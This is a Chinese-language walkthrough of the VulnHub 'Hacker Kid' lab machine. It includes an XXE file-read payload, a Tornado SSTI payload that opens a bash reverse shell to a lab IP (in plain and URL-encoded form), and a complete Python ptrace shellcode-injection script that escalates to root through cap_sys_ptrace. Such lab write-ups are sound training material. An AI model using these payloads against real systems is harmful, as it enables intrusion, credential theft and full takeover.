中等难度的靶机,取得权限即可(提示:信息收集,不需要爆破)
此靶机存在的都是新兴的漏洞类型。
地址如下:
https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
1.主机发现
arp-scan -l
2.端口发现
nmap -p 1-65535 -A 192.168.56.106
详细信息如下:
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: DNS服务,tcp的 53 端口用于域的
|_ bind.version: 9.16.1-Ubuntu
我们一般使用的都是UDP的53端口,查看一下:namp -p53 -sU 192.168.56.106,发现是开启的
53端口的bind版本可以进行尝试漏洞搜索:9.16.1的漏洞存在
CVE-2020-8625 CVE-2021-25216(没找到漏洞利用代码)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open http Tornado httpd 6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
|_http-server-header: TornadoServer/6.1 TornadoServer(python框架)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
3.Web信息收集
看到了一堆dig,然而linux存在dig命令,可以尝试一下。
看到#,直接去掉访问。访问了,但是一点用没有。
之后挨个查看源码,看信息,发下了一个注释:使用参数page_no,这里参数很像一个页面的页码,我们用BP爆破出他的数值到底是多少。。burp选择Numbers模块就行。值是21.
得到了信息:知道了存在子域。。通过DNS产生了一些的不同域名,一个服务器可以通过DNS绑定不同的域名。
在一台服务器上部署多个web服务常见有三种方法
方法一:不同的web服务绑定不同的ip,访问者通过访问不同的ip来浏览不同的网站
方法二:不同的web服务绑定不同的端口,访问者通过访问同一ip的不同端口来浏览不同的网站
方法三:不同的web服务绑定不同的域名,访问者通过访问不同的域名来浏览不同的网站
提示提到域名之一:hackers.blackhat.local 编辑hosts文件才能访问
此时添加hosts的dns解析,kali的修改命令 vi /etc/hosts,Windows上的文件位置在C:\Windows\System32\drivers\etc
加上: 192.168.56.106 hackers.blackhat.local
4.DNS区域传输
使用提到的dig命令 ,axfr命令 可以得到所有的DNS解析记录
axfr的具体含义简单来说就是使用dig命令向服务器发送一个axfr的请求,如果服务器支持axfr,那么就会把请求的域对应的所有的dns记录都返回给请求者。
hackerkid.blackhat.local
blackhat.local. 10800 IN NS ns1.blackhat.local.
blackhat.local. 10800 IN MX 10 mail.blackhat.local.
blackhat.local. 10800 IN A 192.168.14.143
ftp.blackhat.local. 10800 IN CNAME blackhat.local.
hacker.blackhat.local. 10800 IN CNAME hacker.blackhat.local.blackhat.local.
mail.blackhat.local. 10800 IN A 192.168.14.143
ns1.blackhat.local. 10800 IN A 192.168.14.143
ns2.blackhat.local. 10800 IN A 192.168.14.143
www.blackhat.local. 10800 IN CNAME blackhat.local.
blackhat.local. 10800 IN SOA blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
我们把所有的解析都加到hosts文件中去。挨个访问
这里讲一下axfr的安全问题:
从安全配置的角度出发,服务器是不应当响应每个人的axfr请求的,它应该是只在同一域中主、备服务器之间使用的请求,通常用于实现主、备dns服务器间同步dns记录的作用。这里dns服务器响应了我们的axfr请求,其实是说明了该dns服务器存在配置不当的漏洞所造成的。
继续我们的漏洞利用:添加的解析中hackerkid.blackhat.local 可以访问
尝试过几次会发现邮件都不行。。那抓包查看:
但是发现了这是通过xml发送到服务器的。看到了xml就联想到XXE漏洞,外部实体注入攻击
5.XXE注入
XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
xxe的漏洞最常用的代码,而且我们测试知道邮箱处会把数据返回报错,看到了用户找到可登录的/bin/bash。
接着用命令访问saket的文件.bashrdc,失败了,可能有过过滤,那么尝试php伪协议
php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc
能够看到加密的了密码base64加密
username="admin"
password="Saket!#$%@!!"
这个密码直接拿去登录9999端口的页面,登录不上,密码肯定不会错啊,那只能考虑账号,拿用户账号尝试一下。。
saket
登进去之后,页面两句英文,没有任何思路那看看这些单词,可能有 变量 测试下name。
6.SSTI模板注入
我们在前面信息搜集的时候就知道了9999端口开放的web服务用的是Tornado,Tornado是一个python语言的web服务框架,python作为后端语言,我能想到的最有可能存在的漏洞也就是SSTI模板注入了,所以我这里随手测一下看是否有SSTI模板注入的漏洞
看下这篇文章
SSTI (Server Side Template Injection) - HackTricks
这里给出了一个模板注入通用的测试payload:{{1+abcdef}}${1+abcdef}<?1+abcdef?>[1+abcdef]
如果使用该payload后发现页面产生了如下图所示的报错,也是可以说明存在模板注入漏洞
最好是能够反弹shell,用的还是python代码
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.56.102/4444 0>&1"')}}
报错了。url编码试一下呢
%7b%25%20import%20os%20%25%7d%7b%7bos.system('bash%20-c%20%22bash%20-i%20%26%3e%20%2fdev%2ftcp%2f192.168.56.102%2f4444%200%3e%261%22')%7d%7d
成功。。
7.提权
CVE-2021-3493 等最新的内核漏洞都不行
这里利用的功能特性是一个linux内核功能:Capabilities 主要是权限管理的功能。
Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。
使用命令可以发现具有Capabilities特殊操作权限的程序:
/usr/sbin/getcap -r / 2>/dev/null # -r 递归查询 2>/dev/null 错误信息从定向到null
发现python具备cap_sys_ptrace+ep 权限,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口。
网上找的下载链接都不行,找到了源码,保存在本地后,通过wget上传到了靶机
python3 -m http.server 80
wget http://ip/inject.py
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
这个脚本需要注入到root权限的进程才能使用
ps -aef | grep root 查看root权限进程
python2.7 inject.py xxx 代表root进程
还可以使用脚本批量注入
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
脚本使用的是5600端口,注入后查看5600端口是否打开
端口打开了,那我们使用nc去连接靶机的5600端口就行
拿到了root权限
查看端口占用的命令还有:netstat -anp | grep 5600
最后通过此命令还能看出靶机被连接地址。